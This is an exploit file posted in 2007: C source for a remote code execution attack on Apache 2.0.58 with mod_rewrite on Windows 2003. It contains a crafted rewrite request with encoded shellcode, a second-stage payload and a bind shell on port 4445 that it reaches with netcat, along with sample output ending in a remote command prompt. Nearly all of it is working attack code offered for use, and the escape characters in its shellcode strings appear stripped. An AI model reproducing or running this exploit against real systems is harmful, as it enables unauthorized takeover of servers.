apache2058-rewrite.txt
Posted on 31 May 2007
/* apache mod rewrite exploit (win32) By: fabio/b0x (oc-192, old CoTS member) Vuln details: http://www.securityfocus.com/archive/1/archive/1/443870/100/0/threaded Code: bind shell on port 4445, tested on apache 2.0.58 with mod_rewrite (windows 2003) original exploit (http://milw0rm.com/exploits/3680) only had a call back on 192.168.0.1, also was a little buggy, so shellcode was rewriten, thanks to http://metasploit.com/ Usage: ./apache hostname rewrite_path Greetings: caffeine, raver, psikoma, cumatru, insomnia, teddym6, googleman, ares, trickster, rebel and Pentaguard Example: ./apache 192.168.0.253 test [+]Preparing payload [+]Connecting... [+]Connected [+]Sending... [+]Sent [+]Starting second stage... [+]Connecting... [+]Connected [+]Sending... [+]Sent [+]Connecting to shell Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:Program FilesApache GroupApache2>exit exit [+]Owned */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <string.h> #include <netdb.h> #include <sys/types.h> #include <netinet/in.h> #include <sys/socket.h> #define PORT 80 #define PORT2 4444 #define MAXDATASIZE 1024 char get[] = "/ldap://localhost/%3fA%3fA%3fCCCCCCCCCC%3fC%3f%90"; char shellcode[]= "xebx03x59xebx05xe8xf8xffxffxffx49x49x49x49x49x49" "x48x49x49x49x49x49x49x49x49x49x49x49x51x5ax6ax41" "x58x50x30x42x30x41x6bx41x41x51x41x32x41x41x32x42" "x42x42x30x42x41x58x38x41x42x50x75x7ax49x4bx58x56" "x36x73x30x43x30x75x50x70x53x66x35x70x56x31x47x4c" "x4bx50x6cx44x64x55x48x6cx4bx73x75x75x6cx4cx4bx61" "x44x73x35x63x48x35x51x4bx5ax6cx4bx50x4ax37x68x6c" "x4bx42x7ax77x50x37x71x4ax4bx6bx53x44x72x30x49x6e" "x6bx44x74x6ex6bx56x61x68x6ex54x71x39x6fx6bx4cx70" "x31x4bx70x6cx6cx67x48x6bx50x54x34x53x37x6bx71x68" "x4fx44x4dx73x31x78x47x38x6bx38x72x45x6bx73x4cx31" "x34x46x74x52x55x6bx51x6cx4bx63x6ax65x74x56x61x7a" "x4bx32x46x4cx4bx76x6cx70x4bx4ex6bx30x5ax75x4cx67" "x71x5ax4bx6ex6bx74x44x4ex6bx57x71x6bx58x68x6bx76" "x62x50x31x4bx70x33x6fx53x6ex31x4dx63x6bx4bx72x65" "x58x55x50x61x4ex31x7ax36x50x42x79x70x64x4ex6bx74" "x59x6ex6bx43x6bx44x4cx4cx4bx51x4bx77x6cx4cx4bx35" "x4bx6ex6bx31x4bx74x48x73x63x63x58x6cx4ex70x4ex44" "x4ex78x6cx79x6fx4bx66x4dx59x6fx37x4bx31x78x6cx33" "x30x77x71x73x30x47x70x36x37x53x66x51x43x4dx59x69" "x75x39x78x56x47x57x70x37x70x37x70x6ex70x45x51x33" "x30x37x70x4cx76x72x39x55x48x7ax47x6dx74x45x49x54" "x30x4dx39x38x65x77x39x4bx36x50x49x6cx64x35x4ax52" "x50x4fx37x6cx64x4cx6dx76x4ex4dx39x4bx69x45x59x49" "x65x4ex4dx78x4bx4ax4dx6bx4cx77x4bx31x47x50x53x74" "x72x61x4fx46x53x67x42x57x70x61x4bx6cx4dx42x6bx75" "x70x70x51x6bx4fx7ax77x4bx39x4bx6fx4fx79x4fx33x4e" "x6dx71x65x52x34x53x5ax53x37x30x59x50x51x66x33x4b" "x4fx55x64x4cx4fx6bx4fx66x35x43x34x50x59x6ex69x47" "x74x6cx4ex6ax42x58x72x54x6bx64x67x72x74x39x6fx76" "x57x6bx4fx50x55x44x70x30x31x4bx70x50x50x30x50x50" "x50x32x70x77x30x46x30x53x70x70x50x49x6fx63x65x66" "x4cx4bx39x4fx37x30x31x6bx6bx33x63x71x43x42x48x54" "x42x63x30x76x71x63x6cx4cx49x6dx30x52x4ax32x30x32" "x70x36x37x59x6fx52x75x71x34x50x53x70x57x4bx4fx72" "x75x44x68x61x43x62x74x33x67x59x6fx63x65x67x50x4c" "x49x38x47x6dx51x5ax4cx53x30x36x70x53x30x33x30x4e" "x69x4bx53x53x5ax43x30x72x48x53x30x34x50x33x30x33" "x30x50x53x76x37x6bx4fx36x35x74x58x6ex61x4ax4cx67" "x70x35x54x33x30x63x30x49x6fx78x53x41"; char finish[]= "HTTP/1.0 Host: "; char payload2[]= "x31xc9x83xe9xb0xd9xeexd9x74x24xf4x5bx81x73x13x18" "xd9x03x3ax83xebxfcxe2xf4xe4xb3xe8x77xf0x20xfcxc5" "xe7xb9x88x56x3cxfdx88x7fx24x52x7fx3fx60xd8xecxb1" "x57xc1x88x65x38xd8xe8x73x93xedx88x3bxf6xe8xc3xa3" "xb4x5dxc3x4ex1fx18xc9x37x19x1bxe8xcex23x8dx27x12" "x6dx3cx88x65x3cxd8xe8x5cx93xd5x48xb1x47xc5x02xd1" "x1bxf5x88xb3x74xfdx1fx5bxdbxe8xd8x5ex93x9ax33xb1" "x58xd5x88x4ax04x74x88x7ax10x87x6bxb4x56xd7xefx6a" "xe7x0fx65x69x7exb1x30x08x70xaex70x08x47x8dxfcxea" "x70x12xeexc6x23x89xfcxecx47x50xe6x5cx99x34x0bx38" "x4dxb3x01xc5xc8xb1xdax33xedx74x54xc5xcex8ax50x69" "x4bx8ax40x69x5bx8axfcxeax7exb1x12x67x7ex8ax8axdb" "x8dxb1xa7x20x68x1ex54xc5xcexb3x13x6bx4dx26xd3x52" "xbcx74x2dxd3x4fx26xd5x69x4dx26xd3x52xfdx90x85x73" "x4fx26xd5x6ax4cx8dx56xc5xc8x4ax6bxddx61x1fx7ax6d" "xe7x0fx56xc5xc8xbfx69x5ex7exb1x60x57x91x3cx69x6a" "x41xf0xcfxb3xffxb3x47xb3xfaxe8xc3xc9xb2x27x41x17" "xe6x9bx2fxa9x95xa3x3bx91xb3x72x6bx48xe6x6ax15xc5" "x6dx9dxfcxecx43x8ex51x6bx49x88x69x3bx49x88x56x6b" "xe7x09x6bx97xc1xdcxcdx69xe7x0fx69xc5xe7xeexfcxea" "x93x8exffxb9xdcxbdxfcxecx4ax26xd3x52xe8x53x07x65" "x4bx26xd5xc5xc8xd9x03x3a"; int main(int argc, char *argv[]) { int sockfd, numbytes; char buf[MAXDATASIZE]; struct hostent *he; struct sockaddr_in their_addr; printf(" Exploit: apache mod rewrite exploit (win32) " " By: fabio/b0x (oc-192, old CoTS member) " "Greetings: caffeine, raver, psikoma, cumatru, insomnia, teddym6, googleman, ares, trickster, rebel and Pentaguard " ); if (argc != 3) { printf(" Usage: ./apache hostname rewrite_path "); exit(1); } printf(" [+]Preparing payload "); char payload[748]; sprintf(payload,"GET /%s%s%s%s%s ",argv[2],get,shellcode,finish,argv[1]); printf("[+]Connecting... "); if ((he=gethostbyname(argv[1])) == NULL) { printf("[-]Cannot resolv hostname... "); exit(1); } if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) { printf("[-]Socket error... "); exit(1); } their_addr.sin_family = AF_INET; their_addr.sin_port = htons(PORT); their_addr.sin_addr = *((struct in_addr *)he->h_addr); memset(their_addr.sin_zero, ' ', sizeof their_addr.sin_zero); if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) { printf("[-]Unable to connect "); exit(1); } printf("[+]Connected [+]Sending... "); if (send(sockfd, payload, strlen(payload), 0) == -1){ printf("[-]Unable to send "); exit(1); } printf("[+]Sent "); close(sockfd); printf("[+]Starting second stage... "); sleep(3); printf("[+]Connecting... "); if ((he=gethostbyname(argv[1])) == NULL) { printf("[-]Cannot resolv hostname... "); exit(1); } if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) { printf("[-]Socket error... "); exit(1); } their_addr.sin_family = AF_INET; their_addr.sin_port = htons(PORT2); their_addr.sin_addr = *((struct in_addr *)he->h_addr); memset(their_addr.sin_zero, ' ', sizeof their_addr.sin_zero); if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) { printf("[-]Unable to connect "); exit(1); } printf("[+]Connected [+]Sending... "); if (send(sockfd, payload2, strlen(payload2), 0) == -1){ printf("[-]Unable to send "); exit(1); } printf("[+]Sent [+]Connecting to shell "); close(sockfd); sleep(3); int exec; char what[1024]; sprintf(what," nc -w 10 %s 4445",argv[1]); exec=system(what); if (exec!=0){ printf("[-]Not hacked "); } else { printf("[+]Owned "); } exit(1); }
